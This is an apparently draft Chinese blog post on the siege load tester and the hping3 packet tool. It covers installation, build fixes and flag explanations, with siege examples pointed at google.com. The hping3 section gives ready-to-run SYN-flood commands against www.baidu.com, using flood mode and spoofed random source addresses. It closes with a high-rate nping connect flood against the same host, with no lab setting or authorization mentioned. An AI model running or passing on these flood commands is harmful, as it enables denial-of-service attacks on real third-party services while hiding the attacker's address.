sige壓力測試和hping3發包工具(初稿)

siege

[root@localhost siege-4.0.2]# tar xf siege-latest.tar.gz

[root@localhost siege-4.0.2]# ./configure &&make &&make install

 

安裝完後,配置文件在/root/.siege/

 

Siege命令常用參數

-R 指定特定的配置文件來運行

-l 運行將結果保存於日誌文件中,默認位於/var/log/siege.log

-c 200 指定併發數200
-r 5 指定測試的次數5  
-f urls.txt 制定url的文件
-i internet系統,隨機發送url
-b 請求無需等待 delay=0
-t 5 持續測試5分鐘

-u   指定一個網址,進行***
# -r-t一般不同時使用

 

# 200個併發對http://www.google.com發送請求100

siege -c 200 -r 100 www.google

 

# urls.txt中列出所有的網址

siege -c 200 -r 100 -f urls.txt

 

# 隨機選取urls.txt中列出所有的網址

siege -c 200 -r 100 -f urls.txt -i

 

# delay=0,更準確的壓力測試,而不是功能測試

siege -c 200 -r 100 -f urls.txt -i -b

 

# 指定http請求頭 文檔類型

siege -H Content-Yype:application/json -c 200 -r 100 -f urls.txt -i -b

 

Siege輸出結果說明

Transactions: 總共測試次數
Availability: 成功次數百分比
Elapsed time: 總共耗時多少秒
Data transferred: 總共數據傳輸
Response time: 等到響應耗時
Transaction rate: 平均每秒處理請求數
Throughput: 吞吐率
Concurrency: 最高併發

Successful transactions: 成功的請求數
Failed transactions: 失敗的請求數

 

 

Siege使用的一些總結

1,發送post請求時,url格式爲:http://www.xxxx.com/ POST p1=v1&p2=v2
2,如果url中含有空格和中文,要先進行url編碼,否則siege發送的請求url不準確

添加

siege -C 可以查看相關的配置參數,可以自行修改,比如是否顯示log,超時時間

 

 

 

 

 

 

 

hping3

[root@localhost ~]# tar xf hping3-20051105.tar.gz

[root@localhost ~]# cd hping3-20051105

[root@localhost ~]# cd hping3-20051105

[root@localhost hping3-20051105]# ./configure

creating Makefile...

creating dependences...

In file included from ars.h:20,

                 from apd.c:19:

bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h

In file included from apd.c:19:

ars.h:190:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:254:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:323:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

In file included from ars.h:20,

                 from ars.c:24:

出現這個報錯。

[root@localhost hping3-20051105]# vi bytesex.h //加上一句話

#if     defined(__i386__) \

    || defined(__x86_64__) \

    || defined(__alpha__) \

    || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

 

 

[root@localhost hping3-20051105]# make

gcc -c -O2 -Wall    -g  main.c

main.c:29:18: error: pcap.h: No such file or directory

main.c:169: error: expected =, ,, ;, asmor __attribute__before *token

main.c:170: error: PCAP_ERRBUF_SIZEundeclared here (not in a function)

make: *** [main.o] Error 1

 

[root@bogon hping3-20051105]# yum -y install libpcap

[root@bogon hping3-20051105]# yum -y install libpcap-devel

[root@bogon hping3-20051105]#ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h

[root@bogon hping3-20051105]# yum -y install tcl-devel

[root@bogon hping3-20051105]# make

[root@bogon hping3-20051105]# make strip

[root@bogon hping3-20051105]# make install

cp -f hping3 /usr/sbin/

chmod 755 /usr/sbin/hping3

ln -s /usr/sbin/hping3 /usr/sbin/hping

ln -s /usr/sbin/hping3 /usr/sbin/hping2

@@@@@@ WARNING @@@@@@

Can't install the man page: /usr/local/man/man8 does not exist

[root@bogon hping3-20051105]# hping

hping   hping2  hping3  

 

SYN洪水***:

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.baidu.com -i u1000

-c 發送數據包數量

-d 發送到目標機器每個數據包大小

-S 只發送SYN數據包

-w tcp窗口大小

-p 目的端口

--flood 洪水模式,不考慮顯示入站回覆

--rand-source 使用隨機性源頭IP地址 -a 或者 -spoof來隱藏主機名

www.baidu.com   目標IP或者網址

-i   每個包時間間隔,u10001000微秒

 

簡單的SYN洪水***:

hping3 -S -P -U --flood -V -rand-source www.baidu.com

-2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。

-a 1.1.1.1 --spoof doo   -a是隱藏IP--spoof是隱藏主機名

 

nping  --tcp-connect -rate=90000 -c 900000 -q www.baidu.com


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章